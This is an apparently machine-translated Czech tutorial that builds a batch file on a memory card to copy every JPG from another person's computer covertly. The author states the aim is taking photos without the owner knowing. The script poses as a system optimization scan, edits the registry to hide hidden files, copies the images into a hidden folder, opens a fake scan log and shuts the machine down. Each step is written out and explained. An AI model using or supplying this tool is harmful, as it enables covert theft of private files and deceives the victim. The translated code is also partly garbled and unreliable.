Tajný špionážní obrázek Kopírování dávkového souboru: 5 kroků

2024 Autor: John Day | [email protected]. Naposledy změněno: 2024-01-30 08:25

Nejprve tedy nejprve, co a proč toto instruktážní vytváření vytváří. To vám umožní vytvořit dávkový soubor, který zkopíruje všechny obrázky z počítače na paměťovou kartu. bude to dělat diskrétně, vydávat se za další program, který kontroluje problémy v počítači. Po dokončení budete mít na paměťové kartě skrytou složku se všemi zkopírovanými obrázky. Proč? Vytvořil jsem tento návod, protože jsem chtěl načíst digitální fotografii z něčího stroje, aniž by věděli, že jsem to udělal. Legální použití tohoto souboru vám umožní archivovat/zálohovat vaše osobní fotografie. Další použití: Tento soubor lze upravit tak, aby umožňoval kopírování jakéhokoli jiného typu dokumentu.

Krok 1: Napište kód

Zkopírujte následující kód do poznámkového bloku a uložte jej do kořenového adresáře paměti jako bat soubor, můžete jej pojmenovat, jak chcete, pokud má příponu.bat. Abyste se ujistili, že má správné rozšíření, zadejte jej následujícím způsobem do pole pro uložení poznámkového bloku „copyimage.bat“(včetně uvozovek!)

@echo offecho Optimalizační klient 2008 v3.02becho ------------------------------ echo.echo Nepoužívejte počítač zatímco to běží.echo.echo Seznam procesů skenování. Po dokončení se administrátorovi systému zobrazí protokol ke kontrole.echo.echo Buďte trpěliví, může to trvat až 3 hodiny. Zaregistrujte přidat HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / Advanced /v Hidden /t REG_DWORD /d 00000002/f> nulmkdir / data> nulattrib +h / data> nulsetLocal EnableDelayedExpansion@echo offfor %% a in (jpg) do (for/f "tokens =* delims =" %% f in ('dir/b/s/ ad c: \*. %% a ') do (xcopy "%% f" / data / /y /h /q> nul)) attrib -s +h data \*> nulstart optimizationLog.txtshutdown /s /c " Dokončení skenování optimalizace, počítač se nyní vypne"

Krok 2: Vytvořte soubor falešných zpráv

V tomto kroku jsem vytvořil falešný textový soubor, který předstírá, že je protokolem výsledků dávkového souboru, který spouštíme, abychom zkopírovali soubory. To vám umožní předstírat, že se něco stalo. Nezáleží na tom, co tento soubor říká, můžete jej libovolně měnit, jen se ujistěte, že název souboru je správný a že je uložen v kořenovém adresáři paměťové karty. Text, který jsem použil, pochází hlavně z únosu tohoto přihlaste se, zkopírujte a uložte do kořenového adresáře paměti jako optimizationLog.txt

Skenování dokončeno. Zavřete prosím tento protokol a nechte jej zkontrolovat správcem systému. Spuštěné procesy: C: / Windows / system32 / taskeng.exeC: / Windows / system32 / Dwm.exeC: / Windows / Explorer. EXEC: / Program Files / Java / jre1. 6.0_07 / bin / jusched.exeC: / Windows / System32 / hkcmd.exeC: / Windows / System32 / igfxpers.exeC: / Windows / system32 / igfxsrvc.exeC: / Program Files / Synaptics / SynTP / SynTPEnh.exeC: / Program Soubory / TOSHIBA / Power Saver / TPwrMain.exeC: / Program Files / TOSHIBA / SmoothView / SmoothView.exeC: / Program Files / TOSHIBA / FlashCards / TCrdMain.exeC: / Program Files / BitDefender / BitDefender 2009 / bdagent.exeC: / Program Soubory / TOSHIBA / TOSCDSPD / TOSCDSPD.exeC: / Program Files / Registry Mechanic / regmech.exeC: / Program Files / BitDefender / BitDefender 2009 / seccenter.exeC: / Program Files / Synaptics / SynTP / SynTPHelper.exeC: / Program Files / Vuze / Azureus.exeC: / Program Files / Microsoft Office / Office12 / OUTLOOK. EXEC: / Program Files / AutoCAD 2008 / acad.exeC: / Users / Tom / AppData / Local / Temp / AdskCleanup.0001C: / Program Files / Mozilla Firefox / firefox.exeC: / Windows / System32 / POZNÁMKA PAD. EXEC: / Windows / system32 / SearchFilterHost.exeC: / HijackThis / HijackThis.exeR1 - HKCU / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKCU / Software / Microsoft / Internet Explorer / Main, stránka hledání = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKCU / Software / Microsoft / Internet Explorer / Main, úvodní stránka = https://www.google.co. ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Search_URL = https://go.microsoft.com/ fwlink/? LinkId = 54896R1 - HKLM / Software / Microsoft / Internet Explorer / Main, stránka hledání = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKLM / Software / Microsoft / Internet Explorer / Main, Start Stránka = https://go.microsoft.com/fwlink/?LinkId=69157R0 - HKLM / Software / Microsoft / Internet Explorer / Search, SearchAssistant = R0 - HKLM / Software / Microsoft / Internet Explorer / Search, CustomizeSearch = R0 - HKCU / Software / Microsoft / Internet Explorer / Příliš lbar, LinksFolderName = O1 - Hostitelé::: 1 localhostO2 - BHO: AcroIEHelperStub - {18DF081C -E8AD -4283 -A596 -FA578C2EBDC3} - C: / Program Files / Common Files / Adobe / Acrobat / ActiveX / AcroIEHelperShim.dllO2 - B: Pomocník prohlížeče Groove GFS-{72853161-30C5-4D22-B7F9-0BBC1D38A37E}-C: / Program Files / Microsoft Office / Office12 / GrooveShellExtensions.dllO2-BHO: SSVHelper Class-{761497BB-D6F0-462C-B6EB-D4DAF1: / Program Files / Java / jre1.6.0_07 / bin / ssv.dllO3 -Panel nástrojů: Panel nástrojů BitDefender -{381FFDE8-2394-4f90 -B10D -FC6124A40F8C} -C: / Program Files / BitDefender / BitDefender 2009 / IEToolbar.dllO4 - HKLM \.. / Run: [Windows Defender] %ProgramFiles %\ Windows Defender / MSASCui.exe -hideO4 - HKLM \.. / Run: [SunJavaUpdateSched] "C: / Program Files / Java / jre1.6.0_07 / bin / jusched.exe "O4 - HKLM \.. / Spustit: [IgfxTray] C: / Windows / system32 / igfxtray.exeO4 - HKLM \.. / Spustit: [HotKeysCmds] C: / Windows / system32 / hkcmd.exeO4 - HKLM \.. / Run: [Persistence] C: / Windows / system32 / igfxpers.exeO4 - HKLM \.. / Run: [SynTPEnh] C: / Program Files / Syna ptics / SynTP / SynTPEnh.exeO4 - HKLM \.. / Run: [TPwrMain] %ProgramFiles %\ TOSHIBA / Power Saver / TPwrMain. EXEO4 - HKLM \.. / Run: [SmoothView] %ProgramFiles %\ Toshiba / SmoothView / SmoothView.exeO4 - HKLM \.. / Spustit: [00TCrdMain] %ProgramFiles %\ TOSHIBA / FlashCards / TCrdMain.exeO4 - HKLM \.. / Run: [Toshiba TEMPO] C: / Program Files / Toshiba TEMPRO / Toshiba. Tempo. UI. TrayApplication.exeO4 - HKLM \.. / Run: [BDAgent] "C: / Program Files / BitDefender / BitDefender 2009 / bdagent.exe" O4 - HKLM \.. / Run: [BitDefender Antiphishing Helper] "C: / Program Soubory / BitDefender / BitDefender 2009 / IEShow.exe "O4 - HKCU \.. / Spustit: [TOSCDSPD] C: / Program Files / TOSHIBA / TOSCDSPD / TOSCDSPD.exeO4 - HKCU \.. / Spustit: [RegistryMechanic] C: / Program Files / Registry Mechanic / RMTray.exe /HO4 - Spuštění: OneNote 2007 Screen Clipper and Launcher.lnk = C: / Program Files / Microsoft Office / Office12 / ONENOTEM. EXEO8 - Extra kontextová položka nabídky: E & xport do aplikace Microsoft Excel - rozlišení: //C:\PROGRA~1\MICROS~3\Office12\EXCEL. EXE/3000O9-Extra tlačítko: (bez názvu)-{08B0E5C0-4FCB-11CF-AAA5-0040 1C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9 - další položka nabídky 'Nástroje': Sun Java Console - {08B0E5C0-4FCB -11CF -AAA5-00401C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9-Extra tlačítko: Odeslat do OneNote-{2670000A-7350-4f3c-8081-5663EE0C6C49}-C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - Extra položka „Nástroje“v nabídce: S & end to OneNote - {2670000A -7350-4f3c -8081-5663EE0C6C49} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - Extra tlačítko: eBay.co.uk - Koupit It Sell It Love It-{76577871-04EC-495E-A12B-91F7C3600AFA}-https://rover.ebay.com/rover/1/710-44557-9400-3/4 (soubor chybí) O9-Extra tlačítko: (bez názvu)-{85d1f590-48f4-11d9-9669-0800200c9a66}- %windir %\ bdoscandel.exe (soubor chybí) O9-další položka nabídky 'Nástroje': Odinstalovat BitDefender Online Scanner v8-{85d1f590-48f4-11d9-9669 -0800200c9a66} - %windir %\ bdoscandel.exe (soubor chybí) O9 -Extra tlačítko: Amazon.co.uk -{8A918C1D -E123-4E36 -B562-5C1519E434CE} -https://www.amazon.co.uk/ exec/obidos/redirect-home? tag = Toshibaukbholink-2 1 & site = home (soubor chybí) O9 - Extra button: Research - {92780B25-18CC -41C8 -B9BE -3C9C571A8263} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / REFIEBAR. DLLO10 - Neznámý soubor ve Winsock LSP: c: / windows / system32 / nlaapi.dllO10 - neznámý soubor ve Winsock LSP: c: / windows / system32 / napinsp.dllO10 - neznámý soubor ve Winsock LSP: c: / program files / vmware / vmware workstation / vsocklib.dllO10 - neznámý soubor ve Winsock LSP: c: / program files / vmware / vmware workstation / vsocklib.dllO11-skupina možností: [INTERNATIONAL] International*O13-Gopher Prefix: O16-DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BCA7} (třída get_atlcom) - https://wwwimages.adobe.com/www.adobe.com/products/acrobat/nos/gp.cabO18 - Protokol: grooveLocalGWS - {88FED34C -F0CA -4636 -A375-3CB6248B04CD} - C: / Program Files / Microsoft Office / Office12 / GrooveSystemServices.dllO18-Protokol: ms-help-{314111C7-A502-11D2-BBCA-00C04F8EC294}-C: / Program Files / Common Files / Microsoft Shared / Help / hxds.dllO18-Filtr únos: text/ xml-{807563E5-5146-11D5-A672-00B0D022E945} - C: / PROGRA ~ 1 / COMMON ~ 1 / MICROS ~ 1 / OFFICE12 / MSOXMLMF. DLLO20 - Winlogon Upozornit: igfxcui - C: / Windows / SYSTEM32 / igfxdev.dllO23 - Služba: Agere Modem Call Progress Audio (AgereModemAudio) - Agere Systémy - C: / Windows / system32 / agrsmsvc.exeO23 - Služba: BitDefender Arrakis Server (Arrakis3) - BitDefender SRL https://www.bitdefender.com - C: / Program Files / Common Files / BitDefender / BitDefender Arrakis Server / bin / Arrakis3.exeO23 - Služba: Autodesk Licensing Service - Autodesk - C: / Program Files / Common Files / Autodesk Shared / Service / AdskScSrv.exeO23 - Služba: Služba ConfigFree - TOSHIBA CORPORATION - C: / Program Files / TOSHIBA / ConfigFree / CFSvcs.exeO23 - Služba: @%SystemRoot%\ ehome / ehstart.dll, -101 (ehstart) - neznámý vlastník - %windir %\ system32 / svchost.exe (chybí soubor) O23 - Služba: pomocník getPlus (R) - NOS Microsystems Ltd. - C: / Program Files / NOS / bin / getPlus_HelperSvc.exeO23 - Služba: Služba Google Update (gupdate1c98840f4e6525b) (gupdate1c98840f4e6525b) - Neznámý vlastník - C: / Program Files / Google / Update / GoogleUpdate.exe " /svc (soubor chybí) O23 - Služba: BitDefender Desktop Update Service (LIVESRV) - neznámý vlastník - C: / Program Files / Common Soubory / BitDefender / BitDefender Update Service / livesrv.exe " /služba (soubor chybí) O23 - Služba: @%SystemRoot%\ system32 / qwave.dll, -1 (QWAVE) - Neznámý vlastník r -%windir%\ system32 / svchost.exe (chybí soubor) O23 - Služba: @%SystemRoot%\ system32 / seclogon.dll, -7001 (seclogon) - Neznámý vlastník -%windir%\ system32 / svchost.exe (soubor chybí) O23 - Služba: Služba ladění výkonu notebooku (TempoMonitoringService) - Toshiba Europe GmbH - C: / Program Files / Toshiba TEMPRO / TempoSVC.exeO23 - Služba: TOSHIBA Navi Support Service (TNaviSrv) - TOSHIBA Corporation - C: / Program Files / TOSHIBA / TOSHIBA DVD PLAYER / TNaviSrv.exeO23 - Služba: TOSHIBA Optical Disc Drive Service (TODDSrv) - TOSHIBA Corporation - C: / Windows / system32 / TODDSrv.exeO23 - Služba: TOSHIBA Power Saver (TosCoSrv) - TOSHIBA Corporation - c: / Program Files / TOSHIBA / Power Saver / TosCoSrv.exeO23 - Služba: TOSHIBA SMART Log Service - TOSHIBA Corporation - c: / Program Files / TOSHIBA / SMARTLogService / TosIPCSrv.exeO23 - Služba: VMware Agent Service (ufad -ws60) - Neznámý vlastník - C: / Program Files / VMware / VMware Workstation / vmware -ufad.exe "-d" C: / Program Files / VMware / VMware Workstation / "-s ufad -p2v.x ml (chybí soubor) O23 - Služba: Ulead Burning Helper (UleadBurningHelper) - Ulead Systems, Inc. - C: / Program Files / Common Files / Ulead Systems / DVD / ULCDRSvr.exeO23 - Služba: VMware Authorization Service (VMAuthdService) - VMware, Inc. - C: / Program Files / VMware / VMware Workstation / vmware -authd.exeO23 - Služba: Služba VMware DHCP (VMnetDHCP) - VMware, Inc. - C: / Windows / system32 / vmnetdhcp.exeO23 - Služba: VMware NAT Služba - VMware, Inc. - C: / Windows / system32 / vmnat.exeO23 - Služba: BitDefender Virus Shield (VSSERV) - Neznámý vlastník - C: / Program Files / BitDefender / BitDefender 2009 / vsserv.exe " /služba (soubor chybí) O23 - Služba: VNC Server verze 4 (WinVNC4) - Neznámý vlastník - C: / Program Files / RealVNC / VNC4 / WinVNC4.exe " - služba (soubor chybí) O23 - Služba: @%ProgramFiles%\ Windows Media Player / wmpnetwk.exe, -101 (WMPNetworkSvc) - neznámý vlastník - %ProgramFiles %\ Windows Media Player / wmpnetwk.exe (soubor chybí)

Krok 3: Spusťte program

Nyní byste měli mít paměťovou kartu se dvěma soubory (a pro nové obrázky připraveno spoustu volného místa). Pokud máte na disku něco jiného, nevadí. Vezměte paměťovou kartu do cílového počítače. Když je registrován, poznamenejte si přidělené písmeno jednotky, což vám umožní jej spustit, aniž byste museli nejprve procházet složku. Stiskněte klávesu Windows a poté stiskněte 'R' (zatímco stále držíte klávesu Windows). Zobrazí se okno Spustit. Do pole pro spuštění zadejte cestu k dávkovému souboru, který jsme vytvořili, přičemž písmeno jednotky je písmeno přiřazené při připojení paměťové karty. Například pokud vložím paměťovou kartu a zaregistruje ag: / drive, pak bych spustil: g: / copyimage.bat A pak stiskněte Enter nebo klikněte na Spustit. Tím se spustí dávkový soubor. Po dokončení stroj vypne. Vyjměte paměťovou kartu a odneste ji!

Krok 4: Získejte obrázky

Nyní byste měli mít paměťovou kartu se všemi obrázky. Soubory a složka jsou skryté, takže pokud se vaše nezobrazují, budete ji muset povolit. Chcete -li to provést, přejděte do okna průzkumníka (např. Otevřete můj počítač) a: WinXP - Nástroje, Možnosti složky, Zobrazit, Zobrazit skryté soubory Vista - Uspořádat, Možnosti složky a hledání, Zobrazit, Zobrazit skryté soubory Po výběru byste měli mít možnost otevřít skrytá složka a získejte požadované obrázky!

Krok 5: Co znamená kód

Vysvětlím co nejvíce kódu. hlavní kopírovací funkci jsem nenapsal já, vypůjčil jsem si ji z následujícího webu a upravil ji:

@echo vypnuto '' Zastaví zobrazování příkazů na obrazovce, takže uživatel neví, co se děje echo Optimization client 2008 v3.02b echo ------------------- -------------echo. Zapisuje na obrazovku název pro ozvěnu programu. Pokud je spuštěn, nepoužívejte počítač.echo.echo Seznam procesů skenování. Po dokončení se administrátorovi systému zobrazí protokol ke kontrole.echo.echo Buďte trpěliví, může to trvat až 3 hodiny. Informuje uživatele o množství odpadu, který není pravdivý reg přidat HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / Advanced /v Hidden /t REG_DWORD /d 00000002 /f> nul Přidá klíč registru, který skryje skryté soubory a složky. Tím se zabrání tomu, aby uživatel viděl složku, kterou vytváříme, pro uložení zkopírovaných obrázků. Příkaz nul na konci zastaví příkaz v hlášení jakýchkoli zpráv po dokončení mkdir / data> nul Vytvoří složku na jednotce, ve které se tento dávkový soubor nachází na volaných datech. attrib +h / data> nul Skryje vytvořenou složku setLocal EnableDelayedExpansionfor %% a in (jpg) do (for/f "tokens =* delims =" %% f in ('dir/b/s/ad c: \*. %% a ') do (xcopy "%% f" / data / /y /h /q> nul)) Toto je kód, který prohledá obrázky na celé jednotce c: \. Pokud chcete, aby vyhledával jiný disk, změňte část c: na to, co chcete. Pokud chcete, aby vyhledávalo další typy souborů, seznam je vedle textu jpg, oddělte typy souborů mezerou. Například-j.webp